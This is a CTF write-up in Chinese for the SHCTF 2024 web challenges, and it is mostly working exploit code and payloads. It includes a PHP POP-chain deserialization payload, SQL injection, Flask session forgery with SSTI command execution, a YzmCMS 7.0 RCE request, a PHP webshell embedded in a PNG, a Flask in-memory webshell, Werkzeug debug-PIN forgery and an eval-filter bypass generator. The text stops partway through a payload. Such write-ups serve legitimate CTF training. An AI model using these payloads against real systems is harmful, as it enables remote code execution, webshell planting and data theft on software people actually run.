SHCTF_2024_WEB

[Week1] 1zflask

根据提示访问robots.txt,发现路由/s3recttt,访问下载一个app.py

通过get传参ls /

cat /flag

[Week1] ez_gittt

GitHacker

githacker –url “url” –output-folder result

得到一个index.html

git log一下

git show一下

[Week1] poppopop

payload:

TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0=

<?php
class SH {
    public static $Web = false;
    public static $SHCTF = false;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T {
    public $n;
    public function __destruct() {
        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString() {
        SH::$SHCTF = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class SHCTF {
    public $isyou;
    public $flag;
    public function __invoke() {
        if (SH::$Web) {
            ($this->isyou)($this->flag);
            echo "小丑竟是我自己呜呜呜~";
        } else {
            echo "小丑别看了!";
        }
    }
}
$t = new T();
$t->n = new F('true');
$t->n->o = new C();
$t->n->o->p = new SHCTF();
$t->n->o->p->isyou = "system";
$t->n->o->p->flag = "cat /flllag";
echo base64_encode(serialize($t));

[Week1] 单身十八年的手速

game.js发现base64编码U0hDVEZ7NWFmZTEyM2MtMWY5Yi00MjIzLWI3OGEtZDlmZmYzMDI1ZmU3fQo=

解码得到flag

[Week1] jvav

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class demo {
    public static void main(String[] args) throws IOException {
        Runtime r = Runtime.getRuntime();
        Process p = r.exec("cat /flag");
        
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        // 用于存储命令输出的字符串
        StringBuilder result = new StringBuilder();
        String line;
        // 持续读取输出,直到结束
        while ((line = reader.readLine()) != null) {
            result.append(line).append("\n");
        }

        System.out.println(result.toString());
    }
}

[Week1] MD5 Master

MD5碰撞,fastcoll

创建一个txt写入”MD5 master!”然后生成两个txt

利用php脚本来进行url编码

<?php
function readmyfile($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}
$a = urlencode(readmyfile("a_msg1.txt"));
$b = urlencode(readmyfile("a_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
    echo "$a\n";
}
if(urldecode($a)!=urldecode($b)){
    echo $b;
}

MD5+master%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B0%3F%18S%DDq%EE%DD%80J%E8%1C%EA%87%D3%FF%D8%7F%FF%2B%C5%EC%11%ABKB%3A%BEu%8E3%A5x%04%CF%C5Ld%CA%EF%8F%06T%E2%A0%23u%00%EF%BD%DF%E1%1A%145%8BM%E6%F76Y%82%29%CFu%DC-%18%B2d%CF%B320.%00J%F8%F3%7DKWwe%03%19%01%3E%84%FB%9BO_%5D%C7%C1%9CV%BD%EEv%05t%BF%D8%97%EB%D0%3BR%F8%2A%24%B85C%C4%C6%96%27%9D%08%13%E2%88%3B%82%04

MD5+master%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B0%3F%18S%DDq%EE%DD%80J%E8%1C%EA%87%D3%FF%D8%7F%FF%AB%C5%EC%11%ABKB%3A%BEu%8E3%A5x%04%CF%C5Ld%CA%EF%8F%06T%E2%A0%A3u%00%EF%BD%DF%E1%1A%145%8BM%E6%F7%B6Y%82%29%CFu%DC-%18%B2d%CF%B320.%00J%F8%F3%7DKWw%E5%03%19%01%3E%84%FB%9BO_%5D%C7%C1%9CV%BD%EEv%05t%BF%D8%97%EB%D0%3B%D2%F7%2A%24%B85C%C4%C6%96%27%9D%08%13b%88%3B%82%04

因为%21是!所以MD5+master%21都要去掉

[Week1] 蛐蛐?蛐蛐!

查看源码,访问source.txt

GET方法传参ququ=114514%00

POST方法传参ququ=ququk1;system(“ls /”);

然后直接cat /flag就可了。

[Week2]自助查询

闭合,然后找到获取注释的办法

?id=1%22) UNION SELECT 1,group_concat(column_name,column_comment,column_type,column_key) from information_schema.columns where table_schema=database() and table_name="flag";--

[Week2]guess_the_number

爆破seed,得到第二个数字发送得到flag

import requests
import random
for seed in range(1000000, 9999999):
    random.seed(seed)
    first_num = random.randint(1000000000,9999999999)
    if first_num == 5685478376:
        print(seed)
        second_num = random.randint(1000000000, 9999999999)
        print(second_num)
        url = "http://210.44.150.15:29579/guess?num={}".format(second_num)
        r = requests.get(url)
        print(r.text)
        break

[Week2]入侵者禁入

flask session伪造+ssti

python flask_session_cookie_manager3.py encode -s “0day_joker” -t “{‘role’: {‘flag’: ‘{{().__class__.__base__.__mro__[0].__subclasses__()[137].__init__.__globals__[\’popen\’](\’cat /flag\’).read()}}’, ‘is_admin’: 1}}”

.eJwdjUEKwyAQRa9SZqNCSRO6KHgVCcOYmCAYDU6yEu9e4-7x_oNfIKfgQBfYAu2goRSpBsQlEDNiI0vsOhw5IZpxbsi37YFriVRm-v4e66O_ermHZCm0zYgznS6KWYqFrtfn-RBqyI5WqWqFN3hGWg8fQU-1_gF4pzA3.ZwYG9Q.hYOfslsfnK76_nfmrvsvJhvECls

[Week2]登录验证

爆破jwt

登录的username和password都是admin

使用hashcat爆破出位222333

将role改为admin,重新发送得到flag

[Week2]MD5 GOD!(复现)

先来进行代码审计

首先是/路由,/路由是用来签到的

@app.route("/")
def index():
    if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
        return redirect("/login")
    sign = session.get('sign')
    username = session.get('username')
    msg = session.get('msg')
    if check_sign(sign, username, msg, salt):
        sign_users[username.decode()] = 1
        return "签到成功"
    return redirect("/login")

再是/login路由,/login是用来登录的,并且在login()函数中,如果登录成功在session中会存在username、msg、sign的md5哈希值

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')
        # print(password)
        if username in users and users[username] == password:
            session["username"] = username.encode()
            session["msg"] = md5(salt + password.encode())
            session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
            return "登陆成功"
        else:
            return "登陆失败"
    else:
        return render_template("login.html")

接着是/users路由,访问/users会以json的格式返回users的相关信息

@app.route("/users")
def user():
    return json.dumps(sign_users)

最后是/flag路由,/flag路由可以用来获取flag(前提是我们的users中的sign_users[user] == 1)

@app.route("/flag")
def flag():
    for user in users:
        if sign_users[user] != 1:
            return "flag{杂鱼~}"
    return open('/flag', 'r').read()

既然有了前提那么我们就得让这个前提实现,以便后续来获取flag,而在/路由中便有个对sign_users[username_decode()]=1的赋值操作,那么也就是让返回的users全部签上到就行了,如果要让所有的用户都签到成功,if check_sign(sign, username, msg, salt)那么就得让check_sign(sign, username, msg, salt)返回True(也就是让session中的sign == md5(salt + msg + username))

def check_sign(sign, username, msg, salt):
    if sign == md5(salt + msg + username):
        return True
    return False

@app.route("/")
def index():
    if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
        return redirect("/login")
    sign = session.get('sign')
    username = session.get('username')
    msg = session.get('msg')
    if check_sign(sign, username, msg, salt):
        sign_users[username.decode()] = 1
        return "签到成功"
    return redirect("/login")

由于salt是未知的,但是在student中存在部分已知的hash值,可以利用hash长度扩展攻击

 session["username"] = username.encode()
            session["msg"] = md5(salt + password.encode())
            session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())

那么我们首先通过登录student先来利用给出的key”Th1s_is_5ecr3t_k3y”来获得session的明文

{‘msg’: b’6af4198f5eec9c6d12dc560a3f3f7a07′, ‘sign’: b’cf8b957b23a1a7b6bef7cf783c6a7a4c’, ‘username’: b’student’}

访问我们的/users路由,可以看到需要签到的用户信息

通过hash扩展来实现签到

将session重新改变提交

重新访问/users路由

悄咪咪贴个官方脚本来做

import hashlib
import math
from typing import Any, Dict, List

rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
                  5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
                  4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
                  6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]

constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]

functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + \
            16 * [lambda b, c, d: (d & b) | (~d & c)] + \
            16 * [lambda b, c, d: b ^ c ^ d] + \
            16 * [lambda b, c, d: c ^ (b | ~d)]

index_functions = 16 * [lambda i: i] + \
                  16 * [lambda i: (5 * i + 1) % 16] + \
                  16 * [lambda i: (3 * i + 5) % 16] + \
                  16 * [lambda i: (7 * i) % 16]


def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:
    return [A, B, C, D]


def left_rotate(x, amount):
    x &= 0xFFFFFFFF
    return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF


def padding_message(msg: bytes) -> bytes:
    """
    在MD5算法中,首先需要对输入信息进行填充,使其位长对512求余的结果等于448,并且填充必须进行,即使其位长对512求余的结果等于448。
    因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。
    填充的方法如下:
        1) 在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。
        2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度(单位为Bit),如果二进制表示的填充前信息长度超过64位,则取低64位。
    经过这两步的处理,信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
    """
    orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff
    msg += bytes([0x80])
    while len(msg) % 64 != 56:
        msg += bytes([0x00])
    msg += orig_len_in_bits.to_bytes(8, byteorder='little')
    return msg


def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:
    message = padding_message(message)
    hash_pieces = get_init_values(A, B, C, D)[:]
    for chunk_ofst in range(0, len(message), 64):
        a, b, c, d = hash_pieces
        chunk = message[chunk_ofst:chunk_ofst + 64]
        for i in range(64):
            f = functions[i](b, c, d)
            g = index_functions[i](i)
            to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
            new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
            a, b, c, d = d, new_b, b, c
        for i, val in enumerate([a, b, c, d]):
            hash_pieces[i] += val
            hash_pieces[i] &= 0xFFFFFFFF

    return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def md5_to_hex(digest: int) -> str:
    raw = digest.to_bytes(16, byteorder='little')
    return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))


def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:
    return md5_to_hex(md5(message, A, B, C, D))


def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,
               D: int = 0x10325476) -> int:
    hash_pieces = get_init_values(A, B, C, D)[:]
    for chunk_ofst in range(0, len(message), 64):
        a, b, c, d = hash_pieces
        chunk = message[chunk_ofst:chunk_ofst + 64]
        for i in range(64):
            f = functions[i](b, c, d)
            g = index_functions[i](i)
            to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
            new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
            a, b, c, d = d, new_b, b, c
        for i, val in enumerate([a, b, c, d]):
            hash_pieces[i] += val
            hash_pieces[i] &= 0xFFFFFFFF

    return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def get_init_values_from_hash_str(real_hash: str) -> List[int]:
    """

    Args:
        real_hash: 真实的hash结算结果

    Returns: 哈希初始化值[A, B, C, D]

    """
    str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]
    # 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字
    return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]


def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:
    """

    Args:
        origin_msg: 原始的消息字节流
        key_len: 原始密钥(盐)的长度
        real_hash: 计算出的真实的hash值
        append_data: 需要添加的攻击数据

    Returns: 发起攻击需要的物料信息
        {
            'attack_fake_msg': bytes([...]),
            'attack_hash_value': str(a1b2c3d4...)
        }

    """
    init_values = get_init_values_from_hash_str(real_hash)
    # print(['{:08x}'.format(x) for x in init_values])
    # 只知道key的长度,不知道key的具体内容时,任意填充key的内容
    fake_key: bytes = bytes([0xff for _ in range(key_len)])
    # 计算出加了append_data后的真实填充数据
    finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)
    # 攻击者提前计算添加了攻击数据的哈希
    attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],
                                              A=init_values[0],
                                              B=init_values[1],
                                              C=init_values[2],
                                              D=init_values[3]))
    fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]
    attack_fake_msg = origin_msg + fake_padding_data + append_data
    return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}



from flask.sessions import SecureCookieSessionInterface
import requests, json, time

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


def session_decode(session_cookie_value, secret_key):
    """ Decode a Flask cookie  """
    app = MockApp(secret_key)
    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app)
    return s.loads(session_cookie_value)


def session_encode(session_cookie_structure, secret_key):
    """ Encode a Flask session cookie """
    try:
        app = MockApp(secret_key)
        # session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)
        return s.dumps(session_cookie_structure)
    except Exception as e:
        return "[Encoding error] {}".format(e)


def req_index(url, cookie):
    # headers = {"Cookie": "session=" + cookie}
    cookies = {"session":cookie}
    r = requests.get(url, cookies=cookies).text
    # print(r)
    if '签到成功' not in r:
        # print(cookie)
        time.sleep(1)
        req_index(url, cookie)
        # print(r)

def req_user(url):
    return json.loads(requests.get(url).text)

def req_login(url):
    data = {"username":"student", "password":"student"}
    cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]
    # print(cookie)
    return cookie

def hash_Attack(md5_value, key_len, data, attack_data):
    attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)
    # print(data)
    res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}
    return res


if __name__ == '__main__':
    url = "http://210.44.150.15:49982/"
    cookie = req_login(url+'login')
    users = req_user(url+'users')
    secret_key = "Th1s_is_5ecr3t_k3y"
    res = session_decode(cookie, secret_key)
    for user in users:
        if users[user] == 0:
            res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())
            res2 = session_encode(res, secret_key)
            # time.sleep(1)
            r = req_index(url, res2)

跑完脚本再次访问/flag路由即可得到flag

[Week3] 小小cms

YzmCMS 7.0存在任意函数调用RCE

https://github.com/v1cker/POC1/blob/main/YzmCMS/YzmCMS%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8pay_callback%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.md

POST /pay/index/pay_callback.html HTTP/1.1
Host: 210.44.150.15:44234
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

out_trade_no[0]=eq&out_trade_no[1]=env&out_trade_no[2]=system

[Week3] 拜师之旅·番外

二次渲染绕过

https://www.cnblogs.com/xinghaihe/p/18437169

<?php
  $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
             0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
             0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
             0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
             0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
             0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
             0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
             0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
  $r = $p[$y];
  $g = $p[$y+1];
  $b = $p[$y+2];
  $color = imagecolorallocate($img, $r, $g, $b);
  imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>

然后查看1.txt,访问http://210.44.150.15:38804/1.txt

[Week3] hacked_website

弱密码爆破登录(当时做的时候用的同一个字典不知道为啥没跑出来 -_-|| )

发现密码是qwer1234,尝试登录进入后台。控制台 => 外观 => 编辑当前外观,写入命令。

返回首页可以看到回显

[Week3] love_flask(复现)

当时没用ssti做出来,复现的时候在爆eval的时候也没爆出来(-_-),倒霉蛋一枚

全是500状态码,所以我后面直接用的官方wp给的第一个脚本,两次爆出来的flag还不一样(-_-)

那直接用官方wp的第二种内存马方法,正好也学习一下

https://xz.aliyun.com/t/10933?time__1311=CqjxRQiQqQqqlxGg6QGCDcmQD80rdDCbAeD

payload:

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

[Week3] 顰(复现)

flask中的pin码计算,但是对debug console的请求需要来自信任的host,所以每次都要添加Header,Host:127.0.0.1

pin码生成六个参数

通过以上命令获取六个参数的值,但是这个题/proc/self/cgroup是为空的,需要/proc/sys/kernel/random/boot_id来获取machine-id,访问file来获取绝对路径

/etc/passwd ->  root
modname ->  flask.app (默认值)
getattr(app, '__name__', getattr(app.__class__, '__name__'))    ->  Flask(默认值)
getattr(mod, '__file__', None)绝对路径  ->  /usr/local/lib/python3.10/site-packages/flask/app.py
mac地址   ->  6e:a1:97:44:2e:5a
machine-id  ->  d45a88e1-3fe4-4156-9e59-3864587b7c87

计算pin码的脚本(官方wp中的)

import hashlib
from itertools import chain


def mac_to_decimal(mac_address):
    # 将 MAC 地址分割成十六进制对
    hex_pairs = mac_address.split(':')

    # 初始化十进制数值
    decimal_value = 0

    # 将每个十六进制对转换为十进制并累加
    for hex_pair in hex_pairs:
        decimal_value = (decimal_value << 8) + int(hex_pair, 16)

    return decimal_value


mac_address = "6e:a1:97:44:2e:5a"  # /sys/class/net/eth0/address

# 调用函数将 MAC 地址转换为十进制数值
mac = str(mac_to_decimal(mac_address))

probably_public_bits = [
    'root'  # username 可通过/etc/passwd获取
    'flask.app',  # modname默认值
    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]

private_bits = [
    mac,  # mac地址十进制
    'd45a88e1-3fe4-4156-9e59-3864587b7c87'
    # /proc/sys/kernel/random/boot_id + /proc/self/cgroup  (name=systemd:) /proc/self/cgroup为空不用看
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
#得到pin码为601-468-585

当我们进入console输入PIN码到输入命令执行得到flag都需要将Host保持为127.0.0.1

[Week4] 0进制计算器(复现)

from flask import Flask, render_template, request, jsonify
  
app = Flask(__name__)  
  
@app.route('/')  
def home():  
    return render_template('index.html') 

@app.route('/execute', methods=['POST'])  
def execute_code():  
    data = request.json  
    code = data.get('code', '')  
    output = executer(code)
    return output   

from contextlib import redirect_stdout
from io import StringIO

class StupidInterpreter:  
    def __init__(self):  
        self.variables = {}
        
    def interpret(self, code):  
        if self.checker(code) == False:
            print("有脏东西!")
            return("")
        commands = code.split(';')  
        for command in commands:  
            command = command.strip()  
            if command:  
                self.execute_command(command)  
  
    def execute_command(self, command):  
        if '=' in command:  
            variable, expression = command.split('=', 1)  
            variable = variable.strip()  
            result = self.evaluate_expression(expression.strip())  
            self.variables[variable] = result  
        #执行打印操作
        elif command.startswith('cdhor(') and command.endswith(')'):
            expression = command[6:-1].strip()  
            result = self.evaluate_expression(expression)  
            print(result)  
        else:  
            print(f"未知指令: {command}")  
            return("")
    def evaluate_expression(self, expression):  
        for var, value in self.variables.items():  
            expression = expression.replace(var, str(value))  
        try:  
            return eval(expression, {}, {})
        except Exception as e:  
            print(f"执行出错: {e}")  
            return None  
                
    def checker(self, string):
        try:
            string.encode("ascii")
        except UnicodeEncodeError:
            return False 
        allow_chr = '0cdhor+-*/=()"\'; '
        for char in string:  
            if char not in allow_chr:  
                return False    

def executer(code):
    outputIO = StringIO()
    interpreter = StupidInterpreter()  
    with redirect_stdout(outputIO):
        interpreter.interpret(code)
    output = outputIO.getvalue()
    return(output)
    
if __name__ == '__main__':  
    app.run(debug=False)

先来看源码,搜索eval,发现在两个地方存在eval,可以选择去利用

第一个eval是会执行”=”传入的code,第二个eval则是会执行在cdhor()括号中的code

    def execute_command(self, command):  
        if '=' in command:  
            variable, expression = command.split('=', 1)  
            variable = variable.strip()  
            result = self.evaluate_expression(expression.strip())  
            self.variables[variable] = result  
        #执行打印操作
        elif command.startswith('cdhor(') and command.endswith(')'):
            expression = command[6:-1].strip()  
            result = self.evaluate_expression(expression)  
            print(result)  
        else:  
            print(f"未知指令: {command}")  
            return("")

而要求传入是有限制的,过滤大部分的字母、数字和字符,只允许下面的传入

allow_chr = '0cdhor+-*/=()"\'; '

由于包含着”cdhor”这几个字母刚好可以组成”ord”和”chr”,所以可以利用这两个函数来组成任意字符

import os
def generate_char(char):
    char_ascii_bin = str(bin(ord(char)))
    end = ""
    result = []
    index = len(char_ascii_bin) - 1
    for a in char_ascii_bin:
        if index == 0 and a == "1":
            result.append("(ord('*')-ord(')'))")
            break
        if index != 0 and a == "1":
            mid_res = ["(ord('*')-ord('('))" for i in range(index)]
            result.append("*".join(mid_res))
        index -= 1
    return("+".join(result))

def generate_sentence(string):
    char_expressions = ["chr(" + generate_char(char) + ")" for char in string]
    sentence_expression = "+".join(char_expressions)
    return(sentence_expression)

char_values = {
    '(': 40,
    ')': 41,
    '*': 42
}
#os.system("cls")
sentence = """"__import__('os').popen('ls /').read()
"""
payload = generate_sentence(sentence)
print(payload)

最终的payload应该是上面脚本生成的赋值给c,然后用”;”隔开,再用cdhor(c),执行就可以看到回显了。最终payload如下:

c = chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('